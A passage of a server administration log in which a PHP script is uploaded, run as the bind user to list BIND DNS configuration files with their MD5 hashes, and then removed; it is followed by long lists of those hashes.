					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:22:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp300822; rm /tmp/pkp300822'

2026-06-19 11:22:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:23:43: Establishing a connection
2026-06-19 11:23:43: 

PUT: /tmp/pkp121698

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:23:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp121698; rm /tmp/pkp121698'

2026-06-19 11:23:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
